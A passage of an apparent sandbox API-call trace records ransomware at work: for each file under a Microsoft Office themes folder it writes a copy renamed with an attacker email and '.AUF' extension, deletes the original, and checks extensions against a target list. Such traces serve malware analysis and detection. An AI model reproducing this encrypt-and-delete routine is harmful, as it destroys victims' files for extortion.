dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.199] GetLastError () returned 0x0 [0212.199] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xb20, lpOverlapped=0x0) returned 1 [0212.221] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0212.222] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.222] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.222] SetEndOfFile (hFile=0x1e0) returned 1 [0212.222] CloseHandle (hObject=0x1e0) returned 1 [0212.222] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.222] SetEndOfFile (hFile=0x1f8) returned 1 [0212.223] CloseHandle (hObject=0x1f8) returned 1 [0212.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.223] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1 [0212.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0212.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0212.223] lstrlenW (lpString=".doc") returned 4 [0212.223] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.223] lstrlenW (lpString=".docx") returned 5 [0212.223] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.223] lstrlenW (lpString=".pdf") returned 4 [0212.223] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.223] lstrlenW (lpString=".xls") returned 4 [0212.223] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.223] lstrlenW (lpString=".xlsx") returned 5 [0212.223] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.223] lstrlenW (lpString=".ppt") returned 4 [0212.223] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0212.224] lstrlenW (lpString=".zip") returned 4 [0212.224] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.224] lstrlenW (lpString=".rar") returned 4 [0212.224] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.224] lstrlenW (lpString=".bz2") returned 4 [0212.224] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.224] lstrlenW (lpString=".7z") returned 3 [0212.224] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0212.224] lstrlenW (lpString=".dbf") returned 4 [0212.224] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0212.224] lstrlenW (lpString=".1cd") returned 4 [0212.224] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0212.224] lstrlenW (lpString=".jpg") returned 4 [0212.224] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0212.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0212.224] lstrlenW (lpString=".doc") returned 4 [0212.224] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.224] lstrlenW (lpString=".docx") returned 5 [0212.224] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.224] lstrlenW (lpString=".pdf") returned 4 [0212.224] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.224] lstrlenW (lpString=".xls") returned 4 [0212.224] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.224] lstrlenW (lpString=".xlsx") returned 5 [0212.224] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.224] lstrlenW (lpString=".ppt") returned 4 [0212.224] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0212.224] lstrlenW (lpString=".zip") returned 4 [0212.224] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.224] lstrlenW (lpString=".rar") returned 4 [0212.224] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.224] lstrlenW (lpString=".bz2") returned 4 [0212.224] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.224] lstrlenW (lpString=".7z") returned 3 [0212.224] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0212.224] lstrlenW (lpString=".dbf") returned 4 [0212.224] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0212.224] lstrlenW (lpString=".1cd") returned 4 [0212.224] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0212.224] lstrlenW (lpString=".jpg") returned 4 [0212.224] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.225] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.225] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.226] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=20627) returned 1 [0212.226] CloseHandle (hObject=0x1f8) returned 1 [0212.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0212.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.226] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.226] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.226] GetLastError () returned 0x0 [0212.226] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x5093, lpOverlapped=0x0) returned 1 [0212.275] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x50a0, lpOverlapped=0x0) returned 1 [0212.276] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.276] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.276] SetEndOfFile (hFile=0x1e0) returned 1 [0212.276] CloseHandle (hObject=0x1e0) returned 1 [0212.277] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.277] SetEndOfFile (hFile=0x1f8) returned 1 [0212.277] CloseHandle (hObject=0x1f8) returned 1 [0212.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.278] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0212.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0212.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0212.278] lstrlenW (lpString=".doc") returned 4 [0212.278] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.278] lstrlenW (lpString=".docx") returned 5 [0212.278] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.278] lstrlenW (lpString=".pdf") returned 4 [0212.278] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.278] lstrlenW (lpString=".xls") returned 4 [0212.278] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.278] lstrlenW (lpString=".xlsx") returned 5 [0212.278] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.278] lstrlenW (lpString=".ppt") returned 4 [0212.278] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0212.278] lstrlenW (lpString=".zip") returned 4 [0212.278] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.278] lstrlenW (lpString=".rar") returned 4 [0212.278] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.278] lstrlenW (lpString=".bz2") returned 4 [0212.278] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.279] lstrlenW (lpString=".7z") returned 3 [0212.279] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0212.279] lstrlenW (lpString=".dbf") returned 4 [0212.279] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0212.279] lstrlenW (lpString=".1cd") returned 4 [0212.279] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0212.279] lstrlenW (lpString=".jpg") returned 4 [0212.279] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0212.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0212.279] lstrlenW (lpString=".doc") returned 4 [0212.279] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.279] lstrlenW (lpString=".docx") returned 5 [0212.279] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.279] lstrlenW (lpString=".pdf") returned 4 [0212.279] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.279] lstrlenW (lpString=".xls") returned 4 [0212.279] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.279] lstrlenW (lpString=".xlsx") returned 5 [0212.279] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.279] lstrlenW (lpString=".ppt") returned 4 [0212.279] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0212.279] lstrlenW (lpString=".zip") returned 4 [0212.279] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.279] lstrlenW (lpString=".rar") returned 4 [0212.279] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.279] lstrlenW (lpString=".bz2") returned 4 [0212.279] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.279] lstrlenW (lpString=".7z") returned 3 [0212.279] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0212.279] lstrlenW (lpString=".dbf") returned 4 [0212.279] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0212.279] lstrlenW (lpString=".1cd") returned 4 [0212.279] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0212.279] lstrlenW (lpString=".jpg") returned 4 [0212.279] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.280] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.280] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.331] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=33009) returned 1 [0212.331] CloseHandle (hObject=0x204) returned 1 [0212.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0212.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.331] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.331] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.331] GetLastError () returned 0x0 [0212.331] ReadFile (in: hFile=0x204, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x80f1, lpOverlapped=0x0) returned 1 [0212.338] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x8100, lpOverlapped=0x0) returned 1 [0212.339] ReadFile (in: hFile=0x204, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.340] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.340] SetEndOfFile (hFile=0x1e0) returned 1 [0212.340] CloseHandle (hObject=0x1e0) returned 1 [0212.340] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.340] SetEndOfFile (hFile=0x204) returned 1 [0212.341] CloseHandle (hObject=0x204) returned 1 [0212.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.341] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0212.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0212.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0212.341] lstrlenW (lpString=".doc") returned 4 [0212.341] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.341] lstrlenW (lpString=".docx") returned 5 [0212.341] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.341] lstrlenW (lpString=".pdf") returned 4 [0212.341] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.341] lstrlenW (lpString=".xls") returned 4 [0212.341] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.341] lstrlenW (lpString=".xlsx") returned 5 [0212.341] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.341] lstrlenW (lpString=".ppt") returned 4 [0212.341] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0212.342] lstrlenW (lpString=".zip") returned 4 [0212.342] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.342] lstrlenW (lpString=".rar") returned 4 [0212.342] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.342] lstrlenW (lpString=".bz2") returned 4 [0212.342] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.342] lstrlenW (lpString=".7z") returned 3 [0212.342] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0212.342] lstrlenW (lpString=".dbf") returned 4 [0212.342] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0212.342] lstrlenW (lpString=".1cd") returned 4 [0212.342] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0212.342] lstrlenW (lpString=".jpg") returned 4 [0212.342] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0212.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0212.342] lstrlenW (lpString=".doc") returned 4 [0212.342] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.342] lstrlenW (lpString=".docx") returned 5 [0212.342] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.342] lstrlenW (lpString=".pdf") returned 4 [0212.342] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.342] lstrlenW (lpString=".xls") returned 4 [0212.342] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.342] lstrlenW (lpString=".xlsx") returned 5 [0212.342] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.342] lstrlenW (lpString=".ppt") returned 4 [0212.342] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0212.342] lstrlenW (lpString=".zip") returned 4 [0212.342] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.342] lstrlenW (lpString=".rar") returned 4 [0212.342] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.342] lstrlenW (lpString=".bz2") returned 4 [0212.342] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.342] lstrlenW (lpString=".7z") returned 3 [0212.342] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0212.342] lstrlenW (lpString=".dbf") returned 4 [0212.342] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0212.342] lstrlenW (lpString=".1cd") returned 4 [0212.342] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0212.343] lstrlenW (lpString=".jpg") returned 4 [0212.343] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.343] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.343] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.343] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1925) returned 1 [0212.343] CloseHandle (hObject=0x204) returned 1 [0212.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0212.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.343] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.343] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 